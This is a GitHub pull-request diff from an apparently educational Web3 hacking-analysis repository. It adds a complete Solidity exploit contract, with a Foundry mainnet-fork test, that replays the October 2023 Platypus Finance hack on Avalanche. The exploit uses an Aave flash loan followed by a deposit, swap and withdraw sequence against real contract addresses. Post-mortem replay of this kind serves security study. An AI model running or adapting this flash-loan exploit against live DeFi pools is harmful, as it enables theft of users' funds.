Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Platypus #4

Merged
merged 1 commit into from
Oct 27, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -106,3 +106,9 @@
[submodule "foundry/lib/@solmate"]
path = foundry/lib/@solmate
url = https://github.com/transmissions11/solmate
[submodule "foundry/lib/aave-v3-core"]
path = foundry/lib/aave-v3-core
url = https://github.com/aave/aave-v3-core
[submodule "foundry/lib/aave-v3-periphery"]
path = foundry/lib/aave-v3-periphery
url = https://github.com/aave/aave-v3-periphery
9 changes: 9 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -96,3 +96,12 @@ ELEVATE YOUR EVM EXPERTISE WITH HANDS-ON CHALLENGES, COMPETE ON THE LEADERBOARD,
| | [11.DIVERSION](https://onlypwner.xyz/challenges/4) | ... | ... | ... |
| | [12.PAYDAY](https://onlypwner.xyz/challenges/11) | ... | ... | ... |


## Hacking Analysis

Provide some Web3 Hack event analysis backtracking.

| Hack | Victim | Video | Note |
| :------------------------------------------------------- | :--: | :---: | :--: |
| [20231012 - Platypus](https://mirror.xyz/leekdev.eth/RYeKmdl1rkds5IwKTw2Wnr8zLzEDug02xseUZ_wMwvA)|[Victim contract](https://snowtrace.io/address/0x4658EA7e9960D6158a261104aAA160cC953bb6ba),[Exploit transaction](https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f) | ... | ... |

252 changes: 252 additions & 0 deletions contracts/Hack/20231012-Platypus.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,252 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { console2 } from "@dev/forge-std/src/console2.sol";
import { WETH } from "@solady/tokens/WETH.sol";
import { FlashLoanReceiverBase } from "@aave/v3-core/flashloan/base/FlashLoanReceiverBase.sol";
import { IPoolAddressesProvider } from "@aave/v3-core/interfaces/IPoolAddressesProvider.sol";

/*
https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f
https://snowtrace.io/address/0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789 #code

forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv
*/

interface IAavePool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata interestRateModes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
)
external;
}

// https://github.com/platypus-finance/core
interface IPlatypusAsset {
function balanceOf(address account) external view returns (uint256);
function pool() external view returns (address);
function underlyingToken() external view returns (address);
function underlyingTokenBalance() external view returns (uint256);
function cash() external view returns (uint256);
function liability() external view returns (uint256);
function totalSupply() external view returns (uint256);
}

// https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be
interface IBenqiSAVAX {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function deposit() external payable;
function withdraw(uint256 amount) external;
}

interface IPlatypusPool {
function assetOf(address token) external view returns (address);
function deposit(
address token,
uint256 amount,
address to,
uint256 deadline
)
external
returns (uint256 liquidity);
function withdraw(
address token,
uint256 liquidity,
uint256 minimumAmount,
address to,
uint256 deadline
)
external
returns (uint256 amount);
function swap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 minimumToAmount,
address to,
uint256 deadline
)
external
returns (uint256 actualToAmount, uint256 haircut);
}

contract Hacker is FlashLoanReceiverBase {
/*
Platypus Pool sAVAX
https://snowtrace.io/address/0x4658ea7e9960d6158a261104aaa160cc953bb6ba
https://docs.platypus.finance/platypus-finance-docs/security-and-contracts/contract-addresses
*/
IPlatypusPool private poolSAvax = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba);
IPlatypusAsset private poolAssetWAVAX;
IPlatypusAsset private poolAssetSAVAX;
/*
Wrapped AVAX (WAVAX)
https://snowtrace.io/address/0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7
*/

WETH private WAVAX = WETH(payable(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7));
/*
Staked AVAX (sAVAX)
https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be
https://vscode.blockscan.com/avalanche/0x0ce7f620eb645a4fbf688a1c1937bc6cb0cbdd29
*/
IBenqiSAVAX private SAVAX = IBenqiSAVAX(payable(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE));

/*
Aave: Pool V3 FlashLoan
https://snowtrace.io/address/0x794a61358d6845594f94dc1db02a252b5b4814ad
*/
IAavePool private aavePoolV3 = IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

address[] private _assets;
uint256[] private _amounts;
uint256[] private _interestRateModes;
// https://snowtrace.io/address/0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb#code
address private poolAddressesProvider = 0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb;
address private attacker;

constructor() FlashLoanReceiverBase(IPoolAddressesProvider(poolAddressesProvider)) {
poolAssetWAVAX = IPlatypusAsset(poolSAvax.assetOf(address(WAVAX)));
poolAssetSAVAX = IPlatypusAsset(poolSAvax.assetOf(address(SAVAX)));
console2.log("poolAssetWAVAX", address(poolAssetWAVAX), "poolAssetAVAX", address(poolAssetSAVAX));
attacker = msg.sender;
_log("constructor");
}

function attack() public payable {
_log("Before_Attack1");
uint256 _aaveWAVAX = WAVAX.balanceOf(address(aavePoolV3));
uint256 _attackerWAVAX = WAVAX.balanceOf(address(this));
uint256 _attackerSAVAX = SAVAX.balanceOf(address(this));
uint256 _LP_WAVAX = WAVAX.balanceOf(address(poolAssetWAVAX));
uint256 _LP_SAVAX = SAVAX.balanceOf(address(poolAssetSAVAX));

SAVAX.approve(address(aavePoolV3), type(uint256).max);
WAVAX.approve(address(aavePoolV3), type(uint256).max);
SAVAX.approve(address(poolSAvax), type(uint256).max);
WAVAX.approve(address(poolSAvax), type(uint256).max);

// flashLoan
_assets.push(address(WAVAX));
_assets.push(address(SAVAX));
_amounts.push(1_100_000 * 1e18);
_amounts.push(991_589_030_408_934_949_444_991);
_interestRateModes.push(0);
_interestRateModes.push(0);
_log("Before_flashLoan");
aavePoolV3.flashLoan(address(this), _assets, _amounts, _interestRateModes, address(this), "", 0);
_log("After_flashLoan");

// deal attack profit
poolSAvax.swap(address(SAVAX), address(WAVAX), 20_090 ether, 0, address(this), block.timestamp + 1000);
WAVAX.withdraw(WAVAX.balanceOf(address(this)));

_log("After_Attack");
console2.log();
console2.log("AAVE WAVAX Incr", (WAVAX.balanceOf(address(aavePoolV3)) - _aaveWAVAX) / 1e18);
console2.log("Attacker WAVAX Incr", (WAVAX.balanceOf(address(this)) - _attackerWAVAX) / 1e18);
console2.log("Attacker SAVAX Incr", (SAVAX.balanceOf(address(this)) - _attackerSAVAX) / 1e18);
console2.log("LP_WAVAX WAVAX Decr", (_LP_WAVAX - SAVAX.balanceOf(address(poolAssetWAVAX))) / 1e18);
console2.log("LP_WAVAX SAVAX Decr", (_LP_SAVAX - SAVAX.balanceOf(address(poolAssetSAVAX))) / 1e18);

(bool isSuccess,) = msg.sender.call{ value: address(this).balance }("");
require(isSuccess, "");
}

function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata,
address,
bytes calldata
)
external
override
returns (bool)
{
uint256 dTime = block.timestamp + 1000;
require(assets.length == 2, "assets not equal");
_log("Enter_FlashLoan");

poolSAvax.deposit(address(WAVAX), amounts[0], address(this), dTime);
poolSAvax.deposit(address(SAVAX), amounts[1] / 3, address(this), dTime);
_log("After_Deposit");

(uint256 actualToAmount, uint256 haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 600_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,600_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

uint256 amount = poolSAvax.withdraw(address(WAVAX), 1_020_000 ether, 0, address(this), dTime);
_log("withdraw(WAVAX,1_020_000)");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(WAVAX), address(SAVAX), 1_400_000 ether, 0, address(this), dTime);
_log("swap(WAVAX,SAVAX,1_400_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

amount = poolSAvax.withdraw(address(WAVAX), poolAssetWAVAX.balanceOf(address(this)), 0, address(this), dTime);
_log("withdraw(WAVAX,poolAssetWAVAX.balanceOf(address(this)))");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 700_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,700_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

amount = poolSAvax.withdraw(address(SAVAX), poolAssetSAVAX.balanceOf(address(this)), 0, address(this), dTime);
_log("withdraw(SAVAX,poolAssetSAVAX.balanceOf(address(this)))");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 70_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,70_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

return true;
}

function _log(string memory _msg) public view {
console2.log();
console2.log("-----------%s-----------", _msg);
console2.log("Attacker Address: %s AVAX: %d", attacker, address(this).balance / 1e18);
console2.log(
"Attacker WAVAX: %d SAVAX: %d", WAVAX.balanceOf(address(this)) / 1e18, SAVAX.balanceOf(address(this)) / 1e18
);
console2.log(
"Platypus Assets WAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d",
poolAssetWAVAX.totalSupply() / 1e18,
poolAssetWAVAX.cash() / 1e18,
poolAssetWAVAX.liability() / 1e18
);
console2.log(
"Platypus Assets SAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d",
poolAssetSAVAX.totalSupply() / 1e18,
poolAssetSAVAX.cash() / 1e18,
poolAssetSAVAX.liability() / 1e18
);

console2.log(
"Platypus Assets Cash/liability WAVAX:%d Liability WAVAX:%d",
poolAssetWAVAX.cash() * poolAssetWAVAX.liability() / 1e45,
poolAssetSAVAX.cash() * poolAssetSAVAX.liability() / 1e45
);
console2.log(
"Platypus Assets Cash WAVAX*SAVA:%d Liability WAVAX*SAVA:%d",
poolAssetWAVAX.cash() * poolAssetSAVAX.cash() / 1e45,
poolAssetWAVAX.liability() * poolAssetSAVAX.liability() / 1e45
);
console2.log("Attacker Platypus Pool LP-WAVAX", poolAssetWAVAX.balanceOf(address(this)) / 1e18);
console2.log("Attacker Platypus Pool LP-sAVAX", poolAssetSAVAX.balanceOf(address(this)) / 1e18);
// console2.log();
}

receive() external payable { }
}
7 changes: 5 additions & 2 deletions foundry.toml
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@
out = "foundry/out"
broadcast = 'foundry/broadcast'
cache_path = 'foundry/cache'


[profile.ci]
fuzz = { runs = 10_000 }
Expand Down Expand Up @@ -52,7 +52,7 @@
goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
holesky = "https://ethereum-holesky.publicnode.com"

polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}"

Expand All @@ -65,3 +65,6 @@
optimism_mainnet = "https://opt-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
optimism_goerli = "https://opt-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}"


avalanche_mainnet = "https://rpc.ankr.com/avalanche"
avalanche_fuji = "https://rpc.ankr.com/avalanche_fuji"
1 change: 1 addition & 0 deletions foundry/lib/aave-v3-core
Submodule aave-v3-core added at 6070e8
1 change: 1 addition & 0 deletions foundry/lib/aave-v3-periphery
Submodule aave-v3-periphery added at 72fdcc
11 changes: 6 additions & 5 deletions foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,10 @@ contract Challenge_11_Backdoor_Test is Test {
WalletRegistry private walletRegistry;

function setUp() public {
vm.label(alice, "alice");
vm.label(bob, "bob");
vm.label(charlie, "charlie");
vm.label(david, "david");
vm.deal(deployer, type(uint256).max);
_before();
// vm.stopPrank();
Expand All @@ -43,20 +47,17 @@ contract Challenge_11_Backdoor_Test is Test {
walletFactory = new GnosisSafeProxyFactory();
token = new DamnValuableToken();

vm.label(alice, "alice");
vm.label(bob, "bob");
vm.label(charlie, "charlie");
vm.label(david, "david");
_initialBeneficiaries.push(alice);
_initialBeneficiaries.push(bob);
_initialBeneficiaries.push(charlie);
_initialBeneficiaries.push(david);

walletRegistry =
new WalletRegistry(address(masterCopy),address(walletFactory), address(token), _initialBeneficiaries);
assertEq(walletRegistry.owner(), deployer, "");

token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);

assertEq(walletRegistry.owner(), deployer, "");
for (uint256 i = 0; i < _initialBeneficiaries.length; i++) {
assertTrue(walletRegistry.beneficiaries(_initialBeneficiaries[i]), "");
vm.startPrank(_initialBeneficiaries[i]);
Expand Down
33 changes: 33 additions & 0 deletions foundry/test/Hack/20231012-Platypus.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "@dev/forge-std/src/Test.sol";
// import { console2 } from "@dev/forge-std/src/console2.sol";
import { Hacker } from "@contracts/Hack/20231012-Platypus.sol";

/*
forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv
*/

contract Platypus_Attacker_20231012_Test is Test {
// hacking attack address
address private player = address(1);

function setUp() public {
// vm.deal(player, 10_000 ether);
vm.createSelectFork({ urlOrAlias: "avalanche_mainnet", blockNumber: 36_341_514 });
// vm.createSelectFork({ urlOrAlias: "avalanche_mainnet" });

vm.label(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7, "Wrapped AVAX");
vm.label(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE, "Staked AVAX");

vm.label(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789, "LP-SAVAX");
vm.label(0xC73eeD4494382093C6a7C284426A9a00f6C79939, "LP-AVAX");
}

function test_Exploit() public {
vm.startPrank(player);
Hacker hackInst = new Hacker();
hackInst.attack();
}
}
2 changes: 2 additions & 0 deletions remappings.txt
Original file line number Diff line number Diff line change
Expand Up @@ -13,3 +13,5 @@
@openzeppelin/contracts-v4.7.3=foundry/lib/@openzeppelin/contracts-v4.7.3/contracts
@openzeppelin/contracts-upgradeable-v4.7.1=foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1/contracts

@aave/v3-core=foundry/lib/aave-v3-core/contracts
@aave/v3-periphery=foundry/lib/aave-v3-periphery/contracts